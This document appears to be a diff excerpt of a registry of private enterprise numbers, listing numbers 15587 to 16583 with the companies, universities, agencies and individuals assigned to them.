+15587 Humboldt State University
+15588 WetWebMedia
+15589 IntiGate Inc.
+15590 Catboy Technologies
+15591 Alex Shepard
+15592 Viking Telecom
+15593 Kore Systems GmbH
+15594 Causeway Technologies
+15595 MEAG MUNICH ERGO AssetManagement GmbH
+15596 SONORK S.R.L.
+15597 Avamar
+15598 Compro Technologies, Inc.
+15599 Groom Lake Laboratories
+15600 Xeta Technologies
+15601 Velocity Software
+15602 lottasophie.de
+15603 Sunhillo Corporation
+15604 Kuopio Telephone PLC
+15605 Gray Laboratories, Inc.
+15606 TopPioneer Technologies Limited
+15607 Encentuate, Inc.
+15608 Anders & Rodewyk
+15609 Iskon Internet d.d.
+15610 Herbert Retail Ltd.
+15611 MIC Electronics Limited
+15612 SoftWare Services
+15613 gen-i limited
+15614 Rick Bauman Consulting
+15615 kma, inc.
+15616 Dullroar Enterprises
+15617 newlimits
+15618 Adrenalize, Inc.
+15619 Delean Vision
+15620 Ceiva Logic
+15621 ZP Technologies
+15622 APTARE
+15623 Bachblue Pty Ltd t/a AFOYI
+15624 Skopeo LLC
+15625 Excedent Technologies
+15626 Campus Crusade Asia Ltd
+15627 Spezifikum
+15628 LAMARC GmbH
+15629 IQSoft Rt
+15630 InfoGuard HB
+15631 Vivista Limited
+15632 prime factory Gmbh & Co KG
+15633 Tonisoft
+15634 d3.net internet - technologien gmbh
+15635 China PKI
+15636 Althea Technical
+15637 Spinlock Network LLC
+15638 commissaire.net
+15639 e-solutions, lda
+15640 Clear Technology, Inc.
+15641 Masobit SRL
+15642 Transplace, Inc.
+15643 Hallway Software Design Corp.
+15644 B Bell
+15645 pixell daten & design GmbH
+15646 Pjusarafelag Islands
+15647 thesysadmin
+15648 Atlantis Services
+15649 VOSGAMES
+15650 Citrenesys Corporation
+15651 Seventh Moon Co., Ltd.
+15652 SHE Informationssysteme AG
+15653 Intesys
+15654 Max Momentum
+15655 SITADELLE
+15656 Computer Park Ltd
+15657 Macrocall
+15658 Fillmore Labs
+15659 Alaska Airlines
+15660 TLM Software
+15661 0x2.net
+15662 fumph.com
+15663 Aswan Co. Ltd.
+15664 Aractel Networks Ltd
+15665 Eastern Communication Technology Development CO.LTD
+15666 orgatech Ulrich Tiemann GmbH
+15667 Lechner-Rau Haustechnik
+15668 ZHONGFANG Information Co.,Ltd
+15669 Lifecycle Software
+15670 The Internet Marketing Center
+15671 Wardega Consulting
+15672 Javno preduzece "Posta Srbije" (formerly 'Javno preduzece PTT saobracaja "Srbija"')
+15673 Codeangels Solutions
+15674 Valente CC
+15675 StoneDonut, LLC
+15676 baede
+15677 Thomson-Thomson
+15678 Software Projects Pty Ltd
+15679 Cape Com Inc
+15680 Digirati
+15681 ROSCO Associates Technology Staffing Ltd.
+15682 pkiclue.com, Inc.
+15683 Acrosonic Corporation
+15684 Macro Technology
+15685 agala.net
+15686 Mei Communication Co.
+15687 Magic Software Enterprises Ltd.
+15688 Practical Labs
+15689 Heinz Family Germany
+15690 LIISP
+15691 NetPower Solutions
+15692 Minnigerode
+15693 IonIdea
+15694 Silicom
+15695 A. Pomerantz & Company
+15696 Bayer AG
+15697 Cellon Inc
+15698 NLoci
+15699 Renesys Corporation
+15700 Henrici IT-Consulting
+15701 Schmut
+15702 Computer Image Technology
+15703 Software Diversified Services
+15704 Cyan Worlds, Inc.
+15705 Multitalents
+15706 IGLOO SECURITY, Inc.
+15707 silve.net
+15708 Beijing Westman Automation Ltd. Co.
+15709 CBOSS
+15710 Megasoft
+15711 Euro DB
+15712 Taringold Ltd.
+15713 Drinsama GmbH
+15714 Lenel Systems International, Inc.
+15715 Blue Tree Systems
+15716 gogo6 (formerly 'Hexago')
+15717 Cegetel Net
+15718 Loyalty Management Group Canada, Inc.
+15719 Mass College of Liberal Arts
+15720 binaryMedia
+15721 7COMm
+15722 Concare
+15723 Holoscenes.com
+15724 VisionBank Corp.
+15725 ZyFLEX Technologies, Inc.
+15726 Klug GmbH integrierte Systeme
+15727 hofen.org
+15728 Sentry Information and Alert Systems Corp
+15729 SyTrust GmbH
+15730 Lulu Enterprises, Inc.
+15731 EasyPax Inc.
+15732 ZIV Aplicaciones y Tecnología S.A. (formerly 'uSysCom')
+15733 Washington State University
+15734 AION Systems
+15735 Secure Technology Hawaii
+15736 Emergepoint
+15737 Zozoa Inc
+15738 Business Network Communications
+15739 Ruzz Technology Pty Ltd
+15740 Digital Vision Technology Ltd
+15741 Softerra, LLC
+15742 DiskSites Ltd.
+15743 VTL (UK) Ltd
+15744 NetRatings, Inc.
+15745 Schoren NMS Solutions
+15746 ZONER software, s.r.o.
+15747 Locus Portal Corporation
+15748 NetGhost Communications
+15749 Ingersoll-Rand Co Inc
+15750 University of Tromsø
+15751 TRC Fiord, JSC
+15752 slamb.org
+15753 MuTIC S.A.S
+15754 Vancouver Community Network
+15755 PIVoD Technologies
+15756 Wistron NeWeb Corporation
+15757 MITSUBISHI ELECTRIC INFORMATION TECHNOLOGY CORPORATION(MDIT)
+15758 suntek beijingyanjiuyuan
+15759 Greener Pastures Innovations
+15760 NMSWorks Software Limited
+15761 ATS Elektronik GmbH
+15762 Khety
+15763 Lagan
+15764 REPSOL YPF, S.A.
+15765 JX Solutions Ltd.
+15766 Matrix Mailing, LLC
+15767 Triblen
+15768 Ericsson Inc. (formerly 'BelAir Networks')
+15769 Argecy Computer Corporation
+15770 Zeera Networks, Inc.
+15771 JF Possibilities
+15772 Fachhochschule Landshut
+15773 e-BS, a.s.
+15774 DesigNET, INC.
+15775 HEIDENHAIN
+15776 Advanced Data Integration
+15777 Openin
+15778 DaxNetwork
+15779 Novel TongFang
+15780 Kiloutou
+15781 TRANSFLOW Informationslogistik GmbH
+15782 VIA MAT MANAGEMENT AG
+15783 HRsmart, Inc
+15784 ELB Consulting
+15785 Montrusco Bolton Investments Inc.
+15786 NetLedger, Inc.
+15787 DGN Service GmbH
+15788 The Elders of the Universe
+15789 Infineon Technologies AG
+15790 Wideray Corporation
+15791 La Canada Wireless Association
+15792 Interlink Group Incorporated
+15793 Pittig Software & Internet Services
+15794 DeGeorge Family
+15795 Vandelay Internet Services, Inc.
+15796 ImageONE Co., Ltd.
+15797 Infosys Technologies Limited
+15798 Rato International Communication Co
+15799 Cesky Mobil a.s.
+15800 JN Data A/S
+15801 Huitsing Embedded Systems
+15802 Farlep
+15803 mercatis information systems gmbh
+15804 DLR SISTEC
+15805 Sweetheart Cup Company, Inc.
+15806 ConnecTalk Inc.
+15807 DGN Service GmbH
+15808 DGN Service GmbH
+15809 WNET ISP
+15810 Bank Severnaya Kazna OAO
+15811 Digital Control, LLC
+15812 Radical Corporation
+15813 AIS.PL
+15814 Applied Concepts
+15815 NetQA
+15816 Infra 911, Inc.
+15817 Falcon System Consulting, Inc.
+15818 Stadt Braunschweig
+15819 Cryptolog International
+15820 CASTOR Informatique
+15821 FreeBSD-CN Project
+15822 I-ST.net GmbH
+15823 LinuxWithin.com
+15824 InaSoft
+15825 ClearMetrix, Inc.
+15826 Cryptek, Incorporated
+15827 Crocker Communications, Inc.
+15828 H3G Italia S.p.A. - Enterprise C.A.
+15829 DIGITAL PRODUCTION SARL
+15830 Robinlea
+15831 DENSO IT LABORATORY, INC.
+15832 BT Ignite solutions
+15833 SIGEC
+15834 Tigard-Tualatin School District
+15835 M&S Systems
+15836 Marcor Associates, Ltd.
+15837 Investment Technology Group
+15838 AKA
+15839 The E.W. Scripps Company
+15840 GEIDAX
+15841 Daniel Ritter
+15842 Blasberg-Computer-Systeme GmbH
+15843 Massenbach
+15844 SELEX Communications S.p.A.
+15845 DixPER Systems
+15846 IP Fabrics
+15847 Harvard Law School
+15848 Sensorsoft Corporation
+15849 Evans Companies
+15850 ReShape
+15851 Computerized Medical Systems
+15852 Legion Interactive
+15853 Computer Center, Hitotsubashi university
+15854 RIPE NCC
+15855 Luleå Segelsällskap
+15856 Open Power Network, R.Schär
+15857 Administracion del Principado de Asturias
+15858 all-in-green.com GmbH
+15859 City of Tampere
+15860 ParTec
+15861 KiNETiK GmbH
+15862 BankService Plc.
+15863 Innovative Navigation
+15864 Unicity Pty. Ltd.
+15865 cab Produkttechnik GmbH & Co KG
+15866 Joe Rhodes Consulting LLC
+15867 IXI Mobile (R&D) Ltd.
+15868 Cybris Network Information Systems
+15869 Tijd Beursmedia
+15870 Egon Technologies
+15871 Omnilux
+15872 IT Merge Inc.
+15873 Guardian Life Insurance Inc
+15874 MDS Proteomics A/S
+15875 M-PLIFY S.A.
+15876 Microprogram Information LD. CO.
+15877 API Technologies, LLC
+15878 AZTECH SYSTEMS LTD
+15879 WaveIP Ltd.
+15880 MONEYLINE BANKING SYSTEMS
+15881 Thomas Fahle
+15882 smart ip
+15883 Getronics France
+15884 Noble Turkey Software
+15885 ESAG Energieversorgung Sachsen Ost AG
+15886 Manhattan Associates
+15887 Cosini Networks, Inc
+15888 TAI S.r.l.
+15889 Q-Free ASA
+15890 Prairie Grove Telephone Co.
+15891 Panda Restaurant Group, Inc.
+15892 Openmodes Technology Group Inc.
+15893 Emerson Climate Technologies Retail Solutions, Inc. (formerly 'Computer Process Controls')
+15894 AstroStage Inc.
+15895 4Linux
+15896 Southern Federal University (formerly 'Rostov State University, Computer Center')
+15897 Guangzhou GaoU S & T Development Co. Ltd.
+15898 Polizei Brandenburg
+15899 inubit
+15900 OpenWeb
+15901 Valsimmon Technology Group
+15902 MEN@NET
+15903 Seebek Ingeniería S.R.L.
+15904 Peter Eckel, System and Network Management
+15905 Defero Systems AB
+15906 WLAN AG
+15907 Canyon Networks
+15908 Business Technology Associates, Inc.
+15909 MRX Solutions
+15910 AutoTrader.com
+15911 he chuan
+15912 BlueCom AS
+15913 Networking Support Services
+15914 Netreo Incorporated
+15915 High Tower Software
+15916 LANDesk Software
+15917 Expedient Communications
+15918 the MORROW group
+15919 Hitachi Storage Software Incorporated
+15920 Switch Management
+15921 MobileAccess
+15922 YISHANG INNOVATION TECHNOLOGY CO.,LTD
+15923 ICS GmbH
+15924 Kuwait Linux Company
+15925 Cadence Design Systems
+15926 Cartier Partners Financial Group Inc.
+15927 Point Loma Nazarene University
+15928 SNB
+15929 Cambodia Samart Communication
+15930 Lucasfilm Ltd.
+15931 Center for International Rehabilitation
+15932 Wuertele
+15933 Cyanea Systems Corp.
+15934 Multip Kft.
+15935 Centerplex
+15936 Koreadotcom
+15937 Svyazinform of Republic Mordovia Joint Stock Company
+15938 JOINT-STOCK COMPANY IMPORT-EXPORT BANK "IMPEXBANK" , Moscow
+15939 Coral Telecom Ltd
+15940 Factoria de iniciativas internet fi2, s.a
+15941 Galena Park ISD
+15942 Cabildo de Gran Canaria
+15943 CONEXUS Credit Union
+15944 Agence de la Francophonie
+15945 Ascertia
+15946 Calypso Networks
+15947 New Jersey Institute of Technology
+15948 TREVSPLACE.COM
+15949 Fábrica de Idéias
+15950 4am Media, Inc.
+15951 Axent Global
+15952 Advanced Computer Resources
+15953 Aaron Spangler
+15954 Filesure Pte Ltd
+15955 OmniComp Technology Services
+15956 InCore Technology Ltd
+15957 Muonics, Inc.
+15958 TREVSPLACE.COM
+15959 Sue's Sound cc
+15960 eAirports
+15961 Cocking and Co. Ltd.
+15962 ASML
+15963 INFORMA COLOMBIA
+15964 Instituto Nacional de Astrofísica, Optica y Electrónica
+15965 Public Resources Management Group, Inc.
+15966 Visa, International.
+15967 NCast Corporation
+15968 Emico Vero
+15969 Vindigo, Inc.
+15970 Aspen Networks Inc
+15971 Advanced Biometric Controls, LLC
+15972 Disaster Kleenup International, Inc
+15973 JCorporate Ltd
+15974 Skywave Corporation
+15975 MEIKYO ELECTRIC CO.,LTD.
+15976 Adacom S.A.
+15977 ComPol II
+15978 IT=it
+15979 Tomsoft
+15980 TrackWell Software hf
+15981 Anillo Networks, Inc.
+15982 Hubbub IT Services
+15983 Meru Networks
+15984 Authenex, Inc.
+15985 The University of Lethbridge
+15986 Binara, Inc.
+15987 Topoz Pty Ltd
+15988 Cymes GmbH
+15989 Torsten Schneider
+15990 x9 (formerly 'MikroBitti')
+15991 Raso
+15992 Tracerdigital, LLC
+15993 Net-Scale Technologies, Inc.
+15994 XCOM Comunicacao Segura
+15995 it consultant Henning Follmann
+15996 RNP Rede Nacional de Ensino e Pesquisa
+15997 Wave Systems Corp.
+15998 University of Glamorgan
+15999 CPS Technology Group
+16000 Syrea s.r.l.
+16001 Ministry of Finance, Czech Republic
+16002 Glyphix
+16003 Zschimmer GmbH
+16004 Intrusec, Inc.
+16005 Durham University
+16006 CodeFab Inc
+16007 Native Instruments
+16008 Consolidated Communications Inc
+16009 TelemaxX Telekommunikation GmbH
+16010 Kapsch BusinessCom AG
+16011 State of Utah DTS/DET (formerly 'State of Utah DAS/ITS')
+16012 MEMSCAP
+16013 byteCentric
+16014 Applied Materials Inc.
+16015 Primary Objective, LLC
+16016 Simmey Limited
+16017 CEW Co Ltd
+16018 punker.org
+16019 Reitek
+16020 Wasadata System AB
+16021 cassava Enterprises
+16022 Minicom Advanced Systems Ltd.
+16023 inetadmin
+16024 Netzwert Aktiengesellschaft
+16025 CIBLIS Engenharia S/C
+16026 SoftAplic S/C Ltda.
+16027 Shah-USA
+16028 XAOS Systems
+16029 Westleader International Inc.
+16030 Hongkong Post
+16031 Atmark Techno, Inc.
+16032 Uraltransbank
+16033 Telemic Oy
+16034 Opus Hadsel
+16035 Icom Mobile
+16036 InfoCentre Ltd.
+16037 em|Motion GmbH
+16038 ORAYLIS GmbH
+16039 Automated Systems Engineering, Inc.
+16040 dataparty.net
+16041 Hogeschool Brabant
+16042 JMP SYSTEMS
+16043 Viasec, s.r.o.
+16044 todo Gesellschaft fuer Informationstechnik mbH
+16045 Ocaco Finland Oy
+16046 DSD S.A.
+16047 IT Practice
+16048 BOFRIIS
+16049 Flamenco Networks, Inc.
+16050 Krupczak Org
+16051 CORETEAM AB
+16052 Chris Rauschuber
+16053 Burger King Corporation
+16054 Resource Data Management Ltd
+16055 Blandsite
+16056 okazaki city office
+16057 EventGnosis, Inc.
+16058 GENKEY
+16059 Tsinghua TongFang Software Co. Ltd.
+16060 Lighthouse Information Systems, Inc.
+16061 Adhersis North America
+16062 ZINCNetworks
+16063 DC Technologies
+16064 Perspectix AG
+16065 softArk Solutions
+16066 NEC Telenetworx,Ltd
+16067 BarcoIntelligentDisplays
+16068 Repeatit AB
+16069 MINEFI/SP
+16070 Bundesamt für Finanzen
+16071 Banque Pictet et Cie SA
+16072 Linkeo.com
+16073 Edith Cowan University
+16074 VBL Karlsruhe
+16075 Uninet, S.A.
+16076 Dominion Diagnostics
+16077 Witbe
+16078 Mouvement Républicain et Citoyen
+16079 bitMaster
+16080 Software Logistics, LLC
+16081 KTALAND
+16082 Bechtel Corporation
+16083 MaineBase
+16084 House of Noise
+16085 Telexpertise de Mexico S.A. de C.V.
+16086 MITSUMI ELECTRIC CO.,LTD
+16087 Zayed University
+16088 Groats Laboratories
+16089 eXwavecom Co.,Ltd.
+16090 Estweb Ltd.
+16091 ECR
+16092 AirWalk Communications, Inc.
+16093 AW Software
+16094 Stacken
+16095 Fluency Voice Technology Ltd.
+16096 RCS-TECHNOLOGY
+16097 voice robots GmbH
+16098 SCA Graphic Sundsvall AB
+16099 Pinion Group, LLC
+16100 Iron Mountain
+16101 Cadero, Inc.
+16102 Miharu Communications Inc.
+16103 Nilgiri Networks
+16104 KeyCOM Information Technology CO.,Ltd
+16105 Standard Information Data Centre of Ministry of Education P.R.C
+16106 ICCS
+16107 Enea Data AB
+16108 Garderos GmbH (formerly 'Garderos Software Innovations GmbH')
+16109 Pfannenberg
+16110 InfoCentre Ltd.
+16111 Beaumont Hospital
+16112 Valentine KOUTCHERBAEV
+16113 Network Dweebs Corporation
+16114 Qualstar Corporation
+16115 CyberSarge, Inc.
+16116 Enforcer Group, Inc.
+16117 Rev D Networks
+16118 3gfp
+16119 Catalog.com
+16120 SIMCON
+16121 Caliber Technoloigies & Consultancy
+16122 Netguild
+16123 University of Florence
+16124 X32 Pty Ltd
+16125 NET SPACE
+16126 Parliament of Finland
+16127 Fathom Technology KFT
+16128 A LAWRENCE RIEDEL
+16129 LightHouse Training and Consulting srl
+16130 NEC Australia P/L
+16131 Humax Co., Ltd.
+16132 Pham Kim Binh Nguyen
+16133 Artur Sabik
+16134 CIRTI de Nantes
+16135 Coherent Light
+16136 FT Interactive Data
+16137 Dr. Huggle & Partner GmbH
+16138 E*Trade Financial Inc.
+16139 Compellent Technologies
+16140 MozApps.org
+16141 A-NeT Internet Services bv
+16142 Network Technology and Engineering Institute of Xi'an Jiaotong University
+16143 Gina & Jonathan Oberg
+16144 KERBEROS
+16145 DResearch Digital Media Systems GmbH
+16146 United Bulgarian Bank
+16147 intY Ltd
+16148 JavaRealm Software Development Team
+16149 Del Mar Analytical
+16150 White Wolf Camarilla
+16151 Pima Community College
+16152 The Cincinnati Insurance Companies
+16153 Snert
+16154 Network Resource Technologies Corp
+16155 HalcyonFlame
+16156 Feral Nerds Enterprises
+16157 RDI
+16158 CiTR Pty Ltd
+16159 UQ Business School
+16160 Sphere Systems
+16161 CSC - Scientific Computing Ltd
+16162 RM-System Holding, a.s.
+16163 Elettronika S.r.l.
+16164 zylk
+16165 Crescendo Networks
+16166 University of Sheffield
+16167 Repsol Quimica
+16168 MediSync Midwest Limited
+16169 Teleredes
+16170 totaleasy
+16171 Zucchetti.com srl
+16172 Danger Incorporated
+16173 Arizona Western College
+16174 Sensatronics LLC
+16175 TRIADE Beratungsgesellschaft für Informationstechnologie mbH
+16176 Zephra Corp.
+16177 Westermo Teleindustri AB
+16178 WellPoint Health Networks
+16179 WAN Norway
+16180 Blue Data Networks Ltd
+16181 E3Switch LLC
+16182 Whitesmiths Australia Pty Ltd
+16183 Hanaro Telecom
+16184 PT. Indorama Synthetics Tbk
+16185 NM Systems Co.,Ltd.
+16186 Peter Schneider EDV
+16187 Aedilis UAB
+16188 Materials Science and Technology Dept. - Univ. of Crete GREECE
+16189 Assured Communications Group Limited
+16190 Colegio Oficial de Arquitectos de Madrid
+16191 NightFire Software, Inc.
+16192 BCN Associates, Inc.
+16193 Eagle Mountain International Church Inc.
+16194 Rancho Morado
+16195 Thomson Corp Switzerland AG
+16196 Washington Mutual
+16197 Scoobtec
+16198 Investment Company Institute
+16199 openForce Information Technology GesmbH
+16200 Casero Inc.
+16201 TI Telecomunicazioni & Informatica
+16202 Oakland University
+16203 Sysdata Kft.
+16204 Westinghouse Electric Company
+16205 T-Systems GCF MSY
+16206 Mobile TeleSystems Limited libility company
+16207 Splicecom Ltd
+16208 Universidade Lusiada
+16209 Collaborative Network Technologies Inc.
+16210 Delta Piktori Oy
+16211 Certified Security Solutions
+16212 wang
+16213 CEN/ISSS XFS Workshop
+16214 Pehkonen Family
+16215 Elbit Systems Ltd.
+16216 Trinity CC Consulting, Inc.
+16217 K-WILL Corporation
+16218 Talkline GmbH
+16219 DB Telematik GmbH
+16220 LANDMAT
+16221 Strodl
+16222 DONOBi, Inc.
+16223 Global Messaging Solutions, Inc.
+16224 HTBLuVA Wiener Neustadt
+16225 PaeTec Communications
+16226 Public Service Enterprise Group
+16227 VitalStream, Inc.
+16228 AuriQ Systems, Inc.
+16229 NU Informationssysteme GmbH
+16230 eCornell
+16231 Introspect Consulting, Inc.
+16232 netMANj Project
+16233 Tukcedo Services
+16234 Dogico
+16235 insignia financial group, inc.
+16236 Andrew Maldonado Consulting
+16237 Mantis Technology LLC
+16238 TheCartCompany.com
+16239 Corbett Systems Development, Inc.
+16240 skinoske tech
+16241 butlerNetworks AS
+16242 Thames Valley University
+16243 AVS Consulting
+16244 Ecole des Mines d'Alès
+16245 Humanor
+16246 Hertz Comunicaciones
+16247 eServGlobal
+16248 litus.at
+16249 Italtel S.p.A.
+16250 NetPrecept Ltd.
+16251 Bonuso Industries
+16252 Mätäsahon suku
+16253 Mätäsahon suku
+16254 Holmen Paper AB
+16255 Action Engine Corp.
+16256 Develtech
+16257 The Hong Kong Polytechnic University
+16258 FeelingK
+16259 KOWA COMPANY,LTD. RESEARCH CENTER FOR ADVANCED TECHNOLOGY
+16260 The FreeBSD China Community
+16261 Kopint-Datorg Rt.
+16262 Repsol Petroleo
+16263 swisswebgroup gmbh
+16264 Itheon
+16265 Open Methods
+16266 The Optym Group
+16267 American Network Communications, Inc
+16268 US Linux Networks, LLC
+16269 iomart ltd
+16270 GravityRock.com
+16271 New South Wales Fire Brigades
+16272 Legend (Beijing) Limited
+16273 Nexge technology p ltd
+16274 TELMAT Industrie
+16275 University of Kuopio
+16276 Communications Regulation Commission
+16277 Mobile Internet Limited
+16278 sLAB Informationssysteme
+16279 St. Francis Borgia RHS
+16280 OLTPCorp
+16281 SYSLOG Gmbh
+16282 H5 Technologies
+16283 OM
+16284 QuadFore Corporation
+16285 ibpsearch
+16286 Hungarocom Ltd
+16287 Swiss Federal Institute of Technology
+16288 EDV-Beratung
+16289 Mediva Inc.
+16290 SIAT
+16291 Meeting Maker, Inc.
+16292 Susurro
+16293 BRVL Technology Ltd.
+16294 Applied Instruments Inc
+16295 Ormond college
+16296 Vindicia
+16297 Semnode
+16298 hanbang-soft technology co.,Ltd
+16299 corega K.K.
+16300 Penguin Infotech Pvt. Ltd. (formerly 'Penguin India Linux Solutions Pvt. Ltd.')
+16301 Silesian University in Opava
+16302 intrae
+16303 Sans Serif
+16304 EADS
+16305 KIBS AD Skopje
+16306 Repsol Distribucion
+16307 StreamScale
+16308 RHOEN-KLINIKUM AG
+16309 NTT TechnoCross Corporation (formerly 'NTT Software Corporation')
+16310 Marketline Rt.
+16311 Alatec, S.A.
+16312 Register.com
+16313 Valemount Networks Corp
+16314 Bureautique Services Developpement
+16315 X|support
+16316 HSBC Bank North America
+16317 Quebecor World North America
+16318 empuron
+16319 ViaVis Mobile Solutions Inc.
+16320 The Brain Room Ltd
+16321 ZOOM International a.s.
+16322 Leading Edge Telemetry, LLC
+16323 Trax Holdings
+16324 Itelsys
+16325 NESCO CO., LTD.
+16326 iyaburo.com
+16327 Mark Chesney
+16328 NARI Corp. (Nanjing Automation Research Institute)
+16329 AdiSyS Oy
+16330 Reutech Radar System
+16331 cosmocode GmbH
+16332 Longshine Technologie Europe GmbH
+16333 bitmine AB
+16334 Northrop Grumman
+16335 Seoul Electric Power System co.,ltd
+16336 Alatec, S.A.
+16337 Canadian National Railway Company
+16338 IPOne
+16339 GlobeOp Financial Services, LLC
+16340 White Rock Networks
+16341 Biomedical Informatics Research Network (BIRN)
+16342 Menta Group
+16343 UTTC United Tri-Tech Corporation
+16344 Perfigo
+16345 The Anvil Organisation Ltd.
+16346 Farabi Technology
+16347 IPCAST
+16348 Shanghai Transfiber Science&Technology Co.,Ltd.
+16349 ComGear
+16350 TOT Corporation Public Company Limited
+16351 Caixa Bank S. A.
+16352 Newman College of HE
+16353 Howaldtswerke - Deutsche Werft AG
+16354 Gruppennest
+16355 MIDRAY GmbH
+16356 Transfer Limited
+16357 Hain Celestial Group
+16358 United Carrier Networks
+16359 Miller Samuel, Inc.
+16360 Contraloría General de la República
+16361 Progressive Linux Consultants LLC
+16362 Waters Network Systems
+16363 Scholz & Volkmer GmbH
+16364 SMARTDATA
+16365 valantic Transaction Solutions GmbH (formerly 'Dion Transaction Solutions GmbH')
+16366 INFORMA DEL PERU, INFORMACION ECONOMICA SA
+16367 saarstahl
+16368 Sysapex Communications Inc.
+16369 Clark University
+16370 DASS Consulting Group Inc.
+16371 tygrysek.com
+16372 T-Mobile Czech Republic a.s.
+16373 Federal Public service Transport & Mobility
+16374 NV Multikabel
+16375 University Of Athens
+16376 ACOSS
+16377 IMCTech
+16378 Sarian Systems Limited
+16379 River Cities Reader
+16380 NEXVU Technologies
+16381 Verifiber, LLC
+16382 InterBox Internet
+16383 HP GSE Security
+16384 California State Polytechnic University, Pomona
+16385 Hudli
+16386 Daxiongmao
+16387 OEone Corporation
+16388 Jörg Eichhorn
+16389 Pegasus EDV-Betreuungs-GmbH
+16390 VineSys Technology
+16391 RouteOne
+16392 Cortland Communications
+16393 Sean Champ Enterprises
+16394 nVent, Schroff GmbH (formerly 'Pentair Technical Products,' formerly 'Pigeon Point Systems')
+16395 William R Sowerbutts
+16396 justinknash.com
+16397 U.S. Army ALTESS
+16398 Metallect Corp.
+16399 Greyhavens
+16400 Singapore Telecommunication Limited
+16401 Hewlett-Packard Slovakia
+16402 Teleformix, LLC
+16403 Brobus International, Inc.
+16404 NeuralWorx
+16405 CPEG.Net
+16406 ADWIN
+16407 Lanux Limited
+16408 Leo Consulting
+16409 Futuri Ltd
+16410 NEC COMPUTERS INTERNATIONAL B.V.
+16411 Indicia Nederland bv
+16412 Home Health Corporation of America
+16413 rahbany.com
+16414 itsanaddiction.org
+16415 B.Bradenahl & H.Eggers
+16416 REAL DATA S.C.
+16417 TMC HealthCare
+16418 ULYSSIS
+16419 PINBOARD
+16420 SRA International
+16421 Christian Albrechts Universitaet
+16422 MUMPK limited partnership
+16423 ABACUS Research AG
+16424 Alanta
+16425 City Utilities of Springfield MO
+16426 Lawrence Technological University
+16427 Internet Access Facilities BV
+16428 Dial Assurance, Inc.
+16429 Lindorff Holding AS
+16430 Mutiny Limited
+16431 Engineering.MO S.p.A. (formerly 'T-Systems Italia S.p.A.')
+16432 PKI Innovations Inc.
+16433 Moorehead Communications
+16434 Jenzabar, Inc
+16435 Clearswift Corporation
+16436 Bookham Inc.
+16437 Bart
+16438 Kansas Information Consortium
+16439 PNX Pty Ltd
+16440 netINS, Inc.
+16441 ENST
+16442 ProActive A/S
+16443 P&O Nedlloyd Limited
+16444 UPTI
+16445 Kineto Wireless
+16446 Adlink
+16447 epix Internet Services
+16448 Neogate Co., Ltd
+16449 Charcoal Generation Limited
+16450 IT-Concepts GmbH
+16451 SMC Pneumatics (N.Z.) Limited
+16452 Infocomp Pty Ltd
+16453 Beijing Municipal Local Taxation Bureau
+16454 AXWAY
+16455 DFS Deutsche Flugsicherung GmbH
+16456 GPL Eletro Eletronica S/A
+16457 Opera Logic, Inc.
+16458 Gemini Mobile Technologies, Inc.
+16459 Epygi Technologies Ltd.
+16460 Convertronic GmbH
+16461 Eurofluxo-Suporte a Novas Tecnologias, Lda.
+16462 JAVCO Consulting
+16463 Metavante Corporation
+16464 Pangolin Software Industries Ltd
+16465 State College Area School District
+16466 Sonartech Atlas Pty Ltd
+16467 Gigaworks
+16468 Deriva GmbH
+16469 Coastal Wave Internet
+16470 KEBA AG
+16471 SCAN ASSOCIATES SDN BHD
+16472 QMedit
+16473 Terranet Ltd.
+16474 mencial
+16475 Hays IMS
+16476 awsys gmbh
+16477 SYSLINE S.p.A.
+16478 eiwei Training & Consulting
+16479 P4 Tecnologia Ltda.
+16480 Ministry of Transportation of Ontario
+16481 JOutfitters LLC
+16482 Old Dominion University
+16483 Pure Networks
+16484 Gavin Newman
+16485 Advanced Multifake Systems
+16486 Dauphin MultiMedia
+16487 THALES NL
+16488 Electralink Ltd
+16489 The Hanover Company
+16490 Sentryware
+16491 INMETRICS LTDA - EPP
+16492 Scitor Corporation
+16493 AutoCell Laboratories, Inc.
+16494 MassMutual
+16495 iafrica.com
+16496 ACU-RITE COMPANIES INC.
+16497 Repsol Exploracion
+16498 MEDIUM SOFT a.s.
+16499 Graburn Technology
+16500 S.W.A.C. GmbH
+16501 S&H Greenpoints
+16502 LGB PhOeNiX
+16503 Prairie Fire Internet Technologies
+16504 SindhSoft
+16505 TeamStaff Inc
+16506 NeXtorage, Inc.
+16507 Evanz Enterprises
+16508 Progel srl
+16509 Association des Medecins de Saint-Hilaire
+16510 The Pepsi Bottling Group
+16511 Sentor Managed Security Services AB
+16512 Medienzentrum Osnabrueck
+16513 Monaco Interactive
+16514 UUNET SA
+16515 GRNET S.A.
+16516 elipsan
+16517 Partners HealthCare System Inc.
+16518 New Particles Corporation
+16519 Microdasys Inc.
+16520 pg-cs
+16521 Pronto Networks
+16522 Telefonica Publicidad e Informacion S.A.
+16523 Eric Yeo
+16524 Morty Abzug
+16525 Unicorn
+16526 KYA group
+16527 Internet Pictures Corporation
+16528 Leadtek Research Inc.
+16529 HCL Infosystems Limited
+16530 Exalt Technologies
+16531 brico dépot
+16532 Sparda-Datenverarbeitung eG
+16533 Consejo General de la Abogacia Española
+16534 Mycom International
+16535 BitBand Technologies Ltd.
+16536 Tiscali UK
+16537 Wireless Data Services
+16538 Progressive Electrical Services, Inc.
+16539 Graber Enterprises, Inc.
+16540 E.D.S. Pubblica Amministrazione S.p.A.
+16541 Wapiti Regional Library
+16542 Harley Systems
+16543 Standard Bank of South Africa
+16544 LEASFINANZ AG
+16545 Cardservice International
+16546 BBHK
+16547 Alixen
+16548 Fachschaft Elektrotechnik und Informationstechnik
+16549 Giddens Industries Inc
+16550 Masters of Branding
+16551 ComQuest Tecnologia
+16552 Clear Communications Corporation
+16553 MediaWorlds
+16554 MDS Reprocessing
+16555 Vassar College
+16556 www.schenkman.com
+16557 IRT Electronics Pty Ltd
+16558 Jiangsu Yitong High-tech Co.,Ltd.
+16559 ALOC Bonnier A/S
+16560 Dr. Töpper Datentechnik
+16561 Sandar TeleCast AS
+16562 DePaul University
+16563 InterSystems
+16564 EVERSTREAM, INC.
+16565 Pine Digital Security
+16566 R.T. Shin and Associates
+16567 University of Belize
+16568 FUKKEN CO.,LTD.
+16569 RealVision Inc.
+16570 linux-at-work.de
+16571 Hungarian Telekom Plc. (formerly 'Westel Mobile Telecommunications Company Ltd.')
+16572 Centro Tecnico per la Rete Unitaria della Pubblica Amministrazione
+16573 ICP Europe PLC
+16574 Ontario Systems
+16575 Oops Org
+16576 Novso
+16577 Virtual Targets Center
+16578 geos
+16579 meurisse
+16580 Swiftel Communications
+16581 SIIG
+16582 BOC ONCOLOGY CENTER
+16583 NET6a
